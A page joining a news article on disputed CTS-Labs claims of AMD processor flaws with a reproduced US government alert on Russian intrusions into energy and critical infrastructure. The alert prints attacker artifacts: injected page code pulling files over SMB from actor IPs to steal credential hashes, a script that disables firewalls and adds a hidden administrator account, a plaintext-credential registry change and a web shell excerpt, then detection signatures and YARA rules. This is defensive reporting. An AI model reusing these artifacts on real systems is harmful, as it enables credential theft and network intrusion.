Hyperbole Swirls Around AMD Processor Security Threat

Maybe it was the exaggerated threats against AMD’s business or the semi-unprofessional way the threats were brought to light but no matter — security start-up CTS-Labs claims of security holes in the chipmaker’s Ryzen and Epic processor lines are now being lambasted across the security community.

Earlier this week Threatpost wrote of the CTS-Labs report that its researchers had discovered 13 critical vulnerabilities and exploitable backdoors in AMD’s EPYC server, Ryzen workstation, Ryzen Pro and Ryzen mobile offerings.  Among the most egregious problems CTS-Labs wrote about in a white paper included:

-The AMD Secure Processor, the gatekeeper responsible for the security of AMD processors, contains critical vulnerabilities that could let attackers permanently install malicious code inside the Secure Processor itself.

-Secure Encrypted Virtualization, a key security feature that AMD advertises as one of its main offerings to cloud providers–could be defeated as soon as attackers obtain malicious code execution on the EPYC Secure Processor.

“In our opinion, the basic nature of some of these vulnerabilities amounts to complete disregard of fundamental security principles. This raises concerning questions regarding security practices, auditing, and quality controls at AMD,” CTS wrote.

“The Ryzen and Ryzen Pro chipsets, currently shipping with exploitable backdoors, could not have passed even the most rudimentary white-box security review. The Secure Processor, currently shipping with no fewer than ten critical vulnerabilities that bypass most of its security features, is afflicted with basic security design errors. Furthermore, neither the Security Processor nor the Chipset offer any significant mitigations against exploitation should vulnerability be discovered,” CTS said.

While such harsh observations are not completely unusual, a number of red flags have popped up since the company released the report.

For example, AMD was apparently notified about the CTS findings only about 24 hours before they were made public. Many researchers, upon discovering vulnerabilities give the vendor in question weeks, sometimes months to look into the situation and even let the develop a patch for the problem. Of course there is industry argument over that procedure as well. In this case though AMD was taken aback.

AMD wrote: “This company was previously unknown to AMD and we find it unusual for a security firm to publish its research to the press without providing a reasonable amount of time for the company to investigate and address its findings.”

AMD says it is looking into the situation.

Others questioned the motive of disclosing the vulnerabilities so quickly. Reports from PC Gamer and The Register noted the link between the connection between CTS and others connected with the company. PC Gamer wrote:

“What is suspect, however, is that a separate website called Viceroy Research put out a report based on the startup’s findings, with the ridiculous conclusion that ‘AMD is worth $0.00 and will have no choice but to file for Chapter 11 bankruptcy in order to effectively deal with the repercussions of recent discoveries.’ According to The Register, Viceroy Research confirmed it has a short position on AMD’s stock and intends to increase that position—meaning that Viceroy has a direct financial stake in driving AMD’s stock price down. Viceroy founder John Perring also said he received a copy of the report via an anonymous source and found it ‘credible.’”

A video report from Gamers Nexus on other suspect issues around the CTS findings entitled “Assassination Attempt on AMD by Viceroy Research & CTS Labs” can be found here.

Even Linux’s creator Linus Torvalds, had an opinion on the CTS-AMD report.  He wrote in a Google+ discussion,

“When was the last time you saw a security advisory that was basically ‘if you replace the BIOS or the CPU microcode with an evil version, you might have a security problem?’ Yeah.”

The response from the twitterverse has been just as dismissive — a typical example: “Is CTS-Labs legit? 24 hours’ notice & a professional website on a flaw which can seemingly be fixed by firmware seems like someone wanting to make quick cash on a short stock play.”

Perhaps one of the problems in this case is that this report comes on the heels of the Intel Spectre and Meltdown vulnerabilities in that CPU security issues impact everyone so they get lots of attention, Richard Stiennon chief research analyst at IT-Harvest told Threatpost.  “It doesn’t help that vendors like Intel have been so slow to respond to these problems either.”

Disclosed earlier this year, Threatpost wrote Spectre and Meltdown, “are far reaching and impact a wide range of microprocessors used in the past decade in computers and mobile devices including those running Android, Chrome, iOS, Linux, macOS and Windows. While Meltdown only affects Intel processors, Spectre affects chips from Intel, AMD, ARM and others.”

In trying to settle down some of the dust-up, a post by Ilia Luk-Zilberman, CTO of CTS-Labs perhaps stoked it further:

“I know there are many questions, and a whole lot of confusion. We are trying our best to answer reporters, update our site with Q&A, and clarify what’s going on. So far the media focus was on CTS, and I think I understand this, but very soon we will have to deal with the fact that a huge company with products spread throughout millions of computers in the world, is riddled with so many problems that it’s unclear how to even address this.”

(This article was written by guest author Michael Cooney. He can be reached at @Mcooney59

TA18-074A: Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors

Since at least March 2016, Russian government cyber actors—hereafter referred to as “threat actors”—targeted government entities and multiple U.S. critical infrastructure sectors, including the energy, nuclear, commercial facilities, water, aviation, and critical manufacturing sectors.

Analysis by DHS and FBI, resulted in the identification of distinct indicators and behaviors related to this activity. Of note, the report Dragonfly: Western energy sector targeted by sophisticated attack group, released by Symantec on September 6, 2017, provides additional information about this ongoing campaign. [1]

This campaign comprises two distinct categories of victims: staging and intended targets. The initial victims are peripheral organizations such as trusted third-party suppliers with less secure networks, referred to as “staging targets” throughout this alert. The threat actors used the staging targets’ networks as pivot points and malware repositories when targeting their final intended victims. NCCIC and FBI judge the ultimate objective of the actors is to compromise organizational networks, also referred to as the “intended target.”

Technical Details

The threat actors in this campaign employed a variety of TTPs, including

  • spear-phishing emails (from compromised legitimate account),
  • watering-hole domains,
  • credential gathering,
  • open-source and network reconnaissance,
  • host-based exploitation, and
  • targeting industrial control system (ICS) infrastructure.

Using Cyber Kill Chain for Analysis

DHS used the Lockheed-Martin Cyber Kill Chain model to analyze, discuss, and dissect malicious cyber activity. Phases of the model include reconnaissance, weaponization, delivery, exploitation, installation, command and control, and actions on the objective. This section will provide a high-level overview of threat actors’ activities within this framework.

Stage 1: Reconnaissance

The threat actors appear to have deliberately chosen the organizations they targeted, rather than pursuing them as targets of opportunity. Staging targets held preexisting relationships with many of the intended targets. DHS analysis identified the threat actors accessing publicly available information hosted by organization-monitored networks during the reconnaissance phase. Based on forensic analysis, DHS assesses the threat actors sought information on network and organizational design and control system capabilities within organizations. These tactics are commonly used to collect the information needed for targeted spear-phishing attempts. In some cases, information posted to company websites, especially information that may appear to be innocuous, may contain operationally sensitive information. As an example, the threat actors downloaded a small photo from a publicly accessible human resources page. The image, when expanded, was a high-resolution photo that displayed control systems equipment models and status information in the background.

Analysis also revealed that the threat actors used compromised staging targets to download the source code for several intended targets’ websites. Additionally, the threat actors attempted to remotely access infrastructure such as corporate web-based email and virtual private network (VPN) connections.

Stage 2: Weaponization

Spear-Phishing Email TTPs

Throughout the spear-phishing campaign, the threat actors used email attachments to leverage legitimate Microsoft Office functions for retrieving a document from a remote server using the Server Message Block (SMB) protocol. (An example of this request is: file[:]//<remote IP address>/Normal.dotm). As a part of the standard processes executed by Microsoft Word, this request authenticates the client with the server, sending the user’s credential hash to the remote server before retrieving the requested file. (Note: transfer of credentials can occur even if the file is not retrieved.) After obtaining a credential hash, the threat actors can use password-cracking techniques to obtain the plaintext password. With valid credentials, the threat actors are able to masquerade as authorized users in environments that use single-factor authentication. [2]

Use of Watering Hole Domains

One of the threat actors’ primary uses for staging targets was to develop watering holes. Threat actors compromised the infrastructure of trusted organizations to reach intended targets. [3] Approximately half of the known watering holes are trade publications and informational websites related to process control, ICS, or critical infrastructure. Although these watering holes may host legitimate content developed by reputable organizations, the threat actors altered websites to contain and reference malicious content. The threat actors used legitimate credentials to access and directly modify the website content. The threat actors modified these websites by altering JavaScript and PHP files to request a file icon using SMB from an IP address controlled by the threat actors. This request accomplishes a similar technique observed in the spear-phishing documents for credential harvesting. In one instance, the threat actors added a line of code into the file “header.php”, a legitimate PHP file that carried out the redirected traffic.

<img src=”file[:]//62.8.193[.]206/main_logo.png” style=”height: 1px; width: 1px;” />

In another instance, the threat actors modified the JavaScript file, “modernizr.js”, a legitimate JavaScript library used by the website to detect various aspects of the user’s browser. The file was modified to contain the contents below:

var i = document.createElement(“img”);

i.src = “file[:]//184.154.150[.]66/ame_icon.png”;

i.width = 3;


Stage 3: Delivery

When compromising staging target networks, the threat actors used spear-phishing emails that differed from previously reported TTPs. The spear-phishing emails used a generic contract agreement theme (with the subject line “AGREEMENT & Confidential”) and contained a generic PDF document titled “document.pdf. (Note the inclusion of two single back ticks at the beginning of the attachment name.) The PDF was not malicious and did not contain any active code. The document contained a shortened URL that, when clicked, led users to a website that prompted the user for email address and password. (Note: no code within the PDF initiated a download.)

In previous reporting, DHS and FBI noted that all of these spear-phishing emails referred to control systems or process control systems. The threat actors continued using these themes specifically against intended target organizations. Email messages included references to common industrial control equipment and protocols. The emails used malicious Microsoft Word attachments that appeared to be legitimate résumés or curricula vitae (CVs) for industrial control systems personnel, and invitations and policy documents to entice the user to open the attachment.

Stage 4: Exploitation

The threat actors used distinct and unusual TTPs in the phishing campaign directed at staging targets. Emails contained successive redirects to http://bit[.]ly/2m0x8IH link, which redirected to http://tinyurl[.]com/h3sdqck link, which redirected to the ultimate destination of http://imageliners[.]com/nitel. The imageliner[.]com website contained input fields for an email address and password mimicking a login page for a website.

When exploiting the intended targets, the threat actors used malicious .docx files to capture user credentials. The documents retrieved a file through a “file://” connection over SMB using Transmission Control Protocol (TCP) ports 445 or 139. This connection is made to a command and control (C2) server—either a server owned by the threat actors or that of a victim. When a user attempted to authenticate to the domain, the C2 server was provided with the hash of the password. Local users received a graphical user interface (GUI) prompt to enter a username and password, and the C2 received this information over TCP ports 445 or 139. (Note: a file transfer is not necessary for a loss of credential information.) Symantec’s report associates this behavior to the Dragonfly threat actors in this campaign. [1]

Stage 5: Installation

The threat actors leveraged compromised credentials to access victims’ networks where multi-factor authentication was not used. [4] To maintain persistence, the threat actors created local administrator accounts within staging targets and placed malicious files within intended targets.

Establishing Local Accounts

The threat actors used scripts to create local administrator accounts disguised as legitimate backup accounts. The initial script “symantec_help.jsp” contained a one-line reference to a malicious script designed to create the local administrator account and manipulate the firewall for remote access. The script was located in “C:\Program Files (x86)\Symantec\Symantec Endpoint Protection Manager\tomcat\webapps\ROOT\”.

Contents of symantec_help.jsp


<% Runtime.getRuntime().exec(“cmd /C \”” + System.getProperty(“user.dir”) + “\\..\\webapps\\ROOT\\<enu.cmd>\””); %>


The script “enu.cmd” created an administrator account, disabled the host-based firewall, and globally opened port 3389 for Remote Desktop Protocol (RDP) access. The script then attempted to add the newly created account to the administrators group to gain elevated privileges. This script contained hard-coded values for the group name “administrator” in Spanish, Italian, German, French, and English.

Contents of enu.cmd


netsh firewall set opmode disable

netsh advfirewall set allprofiles state off

reg add “HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List” /v 3389:TCP /t REG_SZ /d “3389:TCP:*:Enabled:Remote Desktop” /f

reg add “HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\GloballyOpenPorts\List” /v 3389:TCP /t REG_SZ /d “3389:TCP:*:Enabled:Remote Desktop” /f

reg add “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f

reg add “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

reg add “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Licensing Core” /v EnableConcurrentSessions /t REG_DWORD /d 1 /f

reg add “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v EnableConcurrentSessions /t REG_DWORD /d 1 /f

reg add “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v AllowMultipleTSSessions /t REG_DWORD /d 1 /f

reg add “HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services” /v MaxInstanceCount /t REG_DWORD /d 100 /f

net user MS_BACKUP <Redacted_Password> /add

net localgroup Administrators /add MS_BACKUP

net localgroup Administradores /add MS_BACKUP

net localgroup Amministratori /add MS_BACKUP

net localgroup Administratoren /add MS_BACKUP

net localgroup Administrateurs /add MS_BACKUP

net localgroup “Remote Desktop Users” /add MS_BACKUP

net user MS_BACKUP /expires:never

reg add “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList” /v MS_BACKUP /t REG_DWORD /d 0 /f

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system /v dontdisplaylastusername /t REG_DWORD /d 1 /f

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

sc config termservice start= auto

net start termservice


DHS observed the threat actors using this and similar scripts to create multiple accounts within staging target networks. Each account created by the threat actors served a specific purpose in their operation. These purposes ranged from the creation of additional accounts to cleanup of activity. DHS and FBI observed the following actions taken after the creation of these local accounts:

Account 1: Account 1 was named to mimic backup services of the staging target. This account was created by the malicious script described earlier. The threat actor used this account to conduct open-source reconnaissance and remotely access intended targets.

Account 2: Account 1 was used to create Account 2 to impersonate an email administration account. The only observed action was to create Account 3.

Account 3: Account 3 was created within the staging victim’s Microsoft Exchange Server. A PowerShell script created this account during an RDP session while the threat actor was authenticated as Account 2. The naming conventions of the created Microsoft Exchange account followed that of the staging target (e.g., first initial concatenated with the last name).

Account 4: In the latter stage of the compromise, the threat actor used Account 1 to create Account 4, a local administrator account. Account 4 was then used to delete logs and cover tracks.

Scheduled Task

In addition, the threat actors created a scheduled task named reset, which was designed to automatically log out of their newly created account every eight hours.

VPN Software

After achieving access to staging targets, the threat actors installed tools to carry out operations against intended victims. On one occasion, threat actors installed the free version of FortiClient, which they presumably used as a VPN client to connect to intended target networks.

Password Cracking Tools

Consistent with the perceived goal of credential harvesting, the threat actors dropped and executed open source and free tools such as Hydra, SecretsDump, and CrackMapExec. The naming convention and download locations suggest that these files were downloaded directly from publically available locations such as GitHub. Forensic analysis indicates that many of these tools were executed during the timeframe in which the actor was accessing the system. Of note, the threat actors installed Python 2.7 on a compromised host of one staging victim, and a Python script was seen at C:\Users\<Redacted Username>\Desktop\OWAExchange\.


Once inside of an intended target’s network, the threat actor downloaded tools from a remote server. The initial versions of the file names contained .txt extensions and were renamed to the appropriate extension, typically .exe or .zip.

In one example, after gaining remote access to the network of an intended victim, the threat actor carried out the following actions:

  • The threat actor connected to 91.183.104[.]150 and downloaded multiple files, specifically the file INST.txt.
  • The files were renamed to new extensions, with INST.txt being renamed INST.exe.
  • The files were executed on the host and then immediately deleted.
  • The execution of INST.exe triggered a download of ntdll.exe, and shortly after, ntdll.exe appeared in the running process list of the compromised system of an intended target.
  • The registry value “ntdll” was added to the “HKEY_USERS\<USER SID>\Software\Microsoft\Windows\CurrentVersion\Run” key.

Persistence Through .LNK File Manipulation

The threat actors manipulated LNK files, commonly known as a Microsoft Window’s shortcut file, to repeatedly gather user credentials. Default Windows functionality enables icons to be loaded from a local or remote Windows repository. The threat actors exploited this built-in Windows functionality by setting the icon path to a remote server controller by the actors. When the user browses to the directory, Windows attempts to load the icon and initiate an SMB authentication session. During this process, the active user’s credentials are passed through the attempted SMB connection.

Four of the observed LNK files were “SETROUTE.lnk”, “notepad.exe.lnk”, “Document.lnk” and “desktop.ini.lnk”. These names appeared to be contextual, and the threat actor may use a variety of other file names while using this tactic. Two of the remote servers observed in the icon path of these LNK files were 62.8.193[.]206 and 5.153.58[.]45. Below is the parsed content of one of the LNK files:

Parsed content of one of the LNK files

Parsed output for file: desktop.ini.lnk

Registry Modification

The threat actor would modify key systems to store plaintext credentials in memory. In one instance, the threat actor executed the following command.

reg add “HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest” /v UseLogonCredential /t REG_DWORD /d 1 /f

Stage 6: Command and Control

The threat actors commonly created web shells on the intended targets’ publicly accessible email and web servers. The threat actors used three different filenames (“global.aspx, autodiscover.aspx and index.aspx) for two different webshells. The difference between the two groups was the “public string Password” field.

Beginning Contents of the Web Shell


<%@ Page Language=”C#” Debug=”true” trace=”false” validateRequest=”false” EnableViewStateMac=”false” EnableViewState=”true”%>

<%@ import Namespace=”System”%>

<%@ import Namespace=”System.IO”%>

<%@ import Namespace=”System.Diagnostics”%>

<%@ import Namespace=”System.Data”%>

<%@ import Namespace=”System.Management”%>

<%@ import Namespace=”System.Data.OleDb”%>

<%@ import Namespace=”Microsoft.Win32″%>

<%@ import Namespace=”System.Net.Sockets” %>

<%@ import Namespace=”System.Net” %>

<%@ import Namespace=”System.Runtime.InteropServices”%>

<%@ import Namespace=”System.DirectoryServices”%>

<%@ import Namespace=”System.ServiceProcess”%>

<%@ import Namespace=”System.Text.RegularExpressions”%>

<%@ Import Namespace=”System.Threading”%>

<%@ Import Namespace=”System.Data.SqlClient”%>

<%@ import Namespace=”Microsoft.VisualBasic”%>

<%@ Import Namespace=”System.IO.Compression” %>

<%@ Assembly Name=”System.DirectoryServices,Version=,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A”%>

<%@ Assembly Name=”System.Management,Version=,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A”%>

<%@ Assembly Name=”System.ServiceProcess,Version=,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A”%>

<%@ Assembly Name=”Microsoft.VisualBasic,Version=7.0.3300.0,Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a”%>

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>

<script runat = “server”>

public string Password = “<REDACTED>”;

public string z_progname = “z_WebShell”;


Stage 7: Actions on Objectives

DHS and FBI identified the threat actors leveraging remote access services and infrastructure such as VPN, RDP, and Outlook Web Access (OWA). The threat actors used the infrastructure of staging targets to connect to several intended targets.

Internal Reconnaissance

Upon gaining access to intended victims, the threat actors conducted reconnaissance operations within the network. DHS observed the threat actors focusing on identifying and browsing file servers within the intended victim’s network.

Once on the intended target’s network, the threat actors used privileged credentials to access the victim’s domain controller typically via RDP. Once on the domain controller, the threat actors used the batch scripts “dc.bat” and “dit.bat” to enumerate hosts, users, and additional information about the environment. The observed outputs (text documents) from these scripts were:

  • admins.txt
  • completed_dclist.txt
  • completed_trusts.txt
  • completed_zone.txt
  • comps.txt
  • conditional_forwarders.txt
  • domain_zone.txt
  • enum_zones.txt
  • users.txt

The threat actors also collected the files “ntds.dit” and the “SYSTEM” registry hive. DHS observed the threat actors compress all of these files into archives named “SYSTEM.zip” and “comps.zip”.

The threat actors used Windows’ scheduled task and batch scripts to execute “scr.exe” and collect additional information from hosts on the network. The tool “scr.exe” is a screenshot utility that the threat actor used to capture the screen of systems across the network. The MD5 hash of “scr.exe” matched the MD5 of ScreenUtil, as reported in the Symantec Dragonfly 2.0 report.

In at least two instances, the threat actors used batch scripts labeled “pss.bat” and “psc.bat” to run the PsExec tool. Additionally, the threat actors would rename the tool PsExec to “ps.exe”.

  1. The batch script (“pss.bat” or “psc.bat”) is executed with domain administrator credentials.
  2. The directory “out” is created in the user’s %AppData% folder.
  3. PsExec is used to execute “scr.exe” across the network and to collect screenshots of systems in “ip.txt”.
  4. The screenshot’s filename is labeled based on the computer name of the host and stored in the target’s C:\Windows\Temp directory with a “.jpg” extension.
  5. The screenshot is then copied over to the newly created “out” directory of the system where the batch script was executed.
  6. In one instance, DHS observed an “out.zip” file created.

DHS observed the threat actors create and modify a text document labeled “ip.txt” which is believed to have contained a list of host information. The threat actors used “ip.txt” as a source of hosts to perform additional reconnaissance efforts. In addition, the text documents “res.txt” and “err.txt” were observed being created as a result of the batch scripts being executed. In one instance, “res.txt” contained output from the Windows’ command “query user” across the network.

Using <Username> <Password>
Running -s cmd /c query user on <Hostname1>
Running -s cmd /c query user on <Hostname2>
Running -s cmd /c query user on <Hostname3>
<user1>                                              2       Disc       1+19:34         6/27/2017 12:35 PM

An additional batch script named “dirsb.bat” was used to gather folder and file names from hosts on the network.

In addition to the batch scripts, the threat actors also used scheduled tasks to collect screenshots with “scr.exe”. In two instances, the scheduled tasks were designed to run the command “C:\Windows\Temp\scr.exe” with the argument “C:\Windows\Temp\scr.jpg”. In another instance, the scheduled task was designed to run with the argument “pss.bat” from the local administrator’s “AppData\Local\Microsoft\” folder.

The threat actors commonly executed files out of various directories within the user’s AppData or Downloads folder. Some common directory names were

  • Chromex64,
  • Microsoft_Corporation,
  • NT,
  • Office365,
  • Temp, and
  • Update.

Targeting of ICS and SCADA Infrastructure

In multiple instances, the threat actors accessed workstations and servers on a corporate network that contained data output from control systems within energy generation facilities. The threat actors accessed files pertaining to ICS or supervisory control and data acquisition (SCADA) systems. Based on DHS analysis of existing compromises, these files were named containing ICS vendor names and ICS reference documents pertaining to the organization (e.g., “SCADA WIRING DIAGRAM.pdf” or “SCADA PANEL LAYOUTS.xlsx”).

The threat actors targeted and copied profile and configuration information for accessing ICS systems on the network. DHS observed the threat actors copying Virtual Network Connection (VNC) profiles that contained configuration information on accessing ICS systems. DHS was able to reconstruct screenshot fragments of a Human Machine Interface (HMI) that the threat actors accessed.

This image depicts a reconstructed screenshot of a Human Machine Interface (HMI) system that was accessed by the threat actor. This image demonstrates the threat actor's focus and interest in Industrial Control System (ICS) environments.

Cleanup and Cover Tracks

In multiple instances, the threat actors created new accounts on the staging targets to perform cleanup operations. The accounts created were used to clear the following Windows event logs: System, Security, Terminal Services, Remote Services, and Audit. The threat actors also removed applications they installed while they were in the network along with any logs produced. For example, the Fortinet client installed at one commercial facility was deleted along with the logs that were produced from its use. Finally, data generated by other accounts used on the systems accessed were deleted.

Threat actors cleaned up intended target networks through deleting created screenshots and specific registry keys. Through forensic analysis, DHS determined that the threat actors deleted the registry key associated with terminal server client that tracks connections made to remote systems. The threat actors also deleted all batch scripts, output text documents and any tools they brought into the environment such as “scr.exe”.

Detection and Response

IOCs related to this campaign are provided within the accompanying .csv and .stix files of this alert. DHS and FBI recommend that network administrators review the IP addresses, domain names, file hashes, network signatures, and YARA rules provided, and add the IPs to their watchlists to determine whether malicious activity has been observed within their organization. System owners are also advised to run the YARA tool on any system suspected to have been targeted by these threat actors.

Network Signatures and Host-Based Rules

This section contains network signatures and host-based rules that can be used to detect malicious activity associated with threat actor TTPs. Although these network signatures and host-based rules were created using a comprehensive vetting process, the possibility of false positives always remains.

Network Signatures

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:”HTTP URI contains ‘/aspnet_client/system_web/4_0_30319/update/’ (Beacon)”; sid:42000000; rev:1; flow:established,to_server; content:”/aspnet_client/system_web/4_0_30319/update/”; http_uri; fast_pattern:only; classtype:bad-unknown; metadata:service http;)


alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:”HTTP URI contains ‘/img/bson021.dat'”; sid:42000001; rev:1; flow:established,to_server; content:”/img/bson021.dat”; http_uri; fast_pattern:only; classtype:bad-unknown; metadata:service http;)


alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:”HTTP URI contains ‘/A56WY’ (Callback)”; sid:42000002; rev:1; flow:established,to_server; content:”/A56WY”; http_uri; fast_pattern; classtype:bad-unknown; metadata:service http;)


alert tcp any any -> any 445 (msg:”SMB Client Request contains ‘AME_ICON.PNG’ (SMB credential harvesting)”; sid:42000003; rev:1; flow:established,to_server; content:”|FF|SMB|75 00 00 00 00|”; offset:4; depth:9; content:”|08 00 01 00|”; distance:3; content:”|00 5c 5c|”; distance:2; within:3; content:”|5c|AME_ICON.PNG”; distance:7; fast_pattern; classtype:bad-unknown; metadata:service netbios-ssn;)


alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:”HTTP URI OPTIONS contains ‘/ame_icon.png’ (SMB credential harvesting)”; sid:42000004; rev:1; flow:established,to_server; content:”/ame_icon.png”; http_uri; fast_pattern:only; content:”OPTIONS”; nocase; http_method; classtype:bad-unknown; metadata:service http;)


alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:”HTTP Client Header contains ‘User-Agent|3a 20|Go-http-client/1.1′”; sid:42000005; rev:1; flow:established,to_server; content:”User-Agent|3a 20|Go-http-client/1.1|0d 0a|Accept-Encoding|3a 20|gzip”; http_header; fast_pattern:only; pcre:”/\.(?:aspx|txt)\?[a-z0-9]{3}=[a-z0-9]{32}&/U”; classtype:bad-unknown; metadata:service http;)


alert tcp $EXTERNAL_NET [139,445] -> $HOME_NET any (msg:”SMB Server Traffic contains NTLM-Authenticated SMBv1 Session”; sid:42000006; rev:1; flow:established,to_client; content:”|ff 53 4d 42 72 00 00 00 00 80|”; fast_pattern:only; content:”|05 00|”; distance:23; classtype:bad-unknown; metadata:service netbios-ssn;)

YARA Rules

This is a consolidated rule set for malware associated with this activity. These rules were written by NCCIC and include contributions from trusted partners.


rule APT_malware_1



            description = “inveigh pen testing tools & related artifacts”

            author = “DHS | NCCIC Code Analysis Team”    

            date = “2017/07/17”

            hash0 = “61C909D2F625223DB2FB858BBDF42A76”

            hash1 = “A07AA521E7CAFB360294E56969EDA5D6”

            hash2 = “BA756DD64C1147515BA2298B6A760260”

            hash3 = “8943E71A8C73B5E343AA9D2E19002373”

            hash4 = “04738CA02F59A5CD394998A99FCD9613”

            hash5 = “038A97B4E2F37F34B255F0643E49FC9D”

            hash6 = “65A1A73253F04354886F375B59550B46”

            hash7 = “AA905A3508D9309A93AD5C0EC26EBC9B”

            hash8 = “5DBEF7BDDAF50624E840CCBCE2816594”

            hash9 = “722154A36F32BA10E98020A8AD758A7A”

            hash10 = “4595DBE00A538DF127E0079294C87DA0”


            $s0 = “file://”

            $s1 = “/ame_icon.png”

            $s2 = “”

            $s3 = { 87D081F60C67F5086A003315D49A4000F7D6E8EB12000081F7F01BDD21F7DE }

            $s4 = { 33C42BCB333DC0AD400043C1C61A33C3F7DE33F042C705B5AC400026AF2102 }

            $s5 = “(g.charCodeAt(c)^l[(l[b]+l[e])%256])”

            $s6 = “for(b=0;256>b;b++)k[b]=b;for(b=0;256>b;b++)”

            $s7 = “VXNESWJfSjY3grKEkEkRuZeSvkE=”

            $s8 = “NlZzSZk=”

            $s9 = “WlJTb1q5kaxqZaRnser3sw==”

            $s10 = “for(b=0;256>b;b++)k[b]=b;for(b=0;256>b;b++)”

            $s11 = “fromCharCode(d.charCodeAt(e)^k[(k[b]+k[h])%256])”

            $s12 = “ps.exe -accepteula \\%ws% -u %user% -p %pass% -s cmd /c netstat”

            $s13 = { 22546F6B656E733D312064656C696D733D5C5C222025254920494E20286C6973742E74787429 }

            $s14 = { 68656C6C2E657865202D6E6F65786974202D657865637574696F6E706F6C69637920627970617373202D636F6D6D616E6420222E202E5C496E76656967682E70 }

            $s15 = { 476F206275696C642049443A202266626433373937623163313465306531 }

//inveigh pentesting tools

            $s16 = { 24696E76656967682E7374617475735F71756575652E4164642822507265737320616E79206B657920746F2073746F70207265616C2074696D65 }

//specific malicious word document PK archive

            $s17 = { 2F73657474696E67732E786D6CB456616FDB3613FEFE02EF7F10F4798E64C54D06A14ED125F19A225E87C9FD0194485B }

            $s18 = { 6C732F73657474696E67732E786D6C2E72656C7355540500010076A41275780B0001040000000004000000008D90B94E03311086EBF014D6F4D87B48214471D2 }

            $s19 = { 8D90B94E03311086EBF014D6F4D87B48214471D210A41450A0E50146EBD943F8923D41C9DBE3A54A240ACA394A240ACA39 }

            $s20 = { 8C90CD4EEB301085D7BD4F61CDFEDA092150A1BADD005217B040E10146F124B1F09FEC01B56F8FC3AA9558B0B4 }

            $s21 = { 8C90CD4EEB301085D7BD4F61CDFEDA092150A1BADD005217B040E10146F124B1F09FEC01B56F8FC3AA9558B0B4 }

            $s22 = “”

            $s23 = “”

            $s24 = “/1/ree_stat/p”

            $s25 = “/icon.png”

            $s26 = “/pshare1/icon”

            $s27 = “/notepad.png”

            $s28 = “/pic.png”

            $s29 = “http://bit.ly/2m0x8IH”


            ($s0 and $s1 or $s2) or ($s3 or $s4) or ($s5 and $s6 or $s7 and $s8 and $s9) or ($s10 and $s11) or ($s12 and $s13) or ($s14) or ($s15) or ($s16) or ($s17) or ($s18) or ($s19) or ($s20) or ($s21) or ($s0 and $s22 or $s24) or ($s0 and $s22 or $s25) or ($s0 and $s23 or $s26) or ($s0 and $s22 or $s27) or ($s0 and $s23 or $s28) or ($s29)


rule APT_malware_2



      description = “rule detects malware”

      author = “other”


      $api_hash = { 8A 08 84 C9 74 0D 80 C9 60 01 CB C1 E3 01 03 45 10 EB ED }

      $http_push = “X-mode: push” nocase

      $http_pop = “X-mode: pop” nocase


      any of them


rule Query_XML_Code_MAL_DOC_PT_2



     name= “Query_XML_Code_MAL_DOC_PT_2”

     author = “other”


            $zip_magic = { 50 4b 03 04 }

            $dir1 = “word/_rels/settings.xml.rels”

            $bytes = {8c 90 cd 4e eb 30 10 85 d7}


            $zip_magic at 0 and $dir1 and $bytes


rule Query_Javascript_Decode_Function



      name= “Query_Javascript_Decode_Function”

      author = “other”


      $decode1 = {72 65 70 6C 61 63 65 28 2F 5B 5E 41 2D 5A 61 2D 7A 30 2D 39 5C 2B 5C 2F 5C 3D 5D 2F 67 2C 22 22 29 3B}

      $decode2 = {22 41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F 50 51 52 53 54 55 56 57 58 59 5A 61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70 71 72 73 74 75 76 77 78 79 7A 30 31 32 33 34 35 36 37 38 39 2B 2F 3D 22 2E 69 6E 64 65 78 4F 66 28 ?? 2E 63 68 61 72 41 74 28 ?? 2B 2B 29 29}

      $decode3 = {3D ?? 3C 3C 32 7C ?? 3E 3E 34 2C ?? 3D 28 ?? 26 31 35 29 3C 3C 34 7C ?? 3E 3E 32 2C ?? 3D 28 ?? 26 33 29 3C 3C 36 7C ?? 2C ?? 2B 3D [1-2] 53 74 72 69 6E 67 2E 66 72 6F 6D 43 68 61 72 43 6F 64 65 28 ?? 29 2C 36 34 21 3D ?? 26 26 28 ?? 2B 3D 53 74 72 69 6E 67 2E 66 72 6F 6D 43 68 61 72 43 6F 64 65 28 ?? 29}

      $decode4 = {73 75 62 73 74 72 69 6E 67 28 34 2C ?? 2E 6C 65 6E 67 74 68 29}



      filesize < 20KB and #func_call > 20 and all of ($decode*)


rule Query_XML_Code_MAL_DOC



      name= “Query_XML_Code_MAL_DOC”

      author = “other”


      $zip_magic = { 50 4b 03 04 }

      $dir = “word/_rels/” ascii

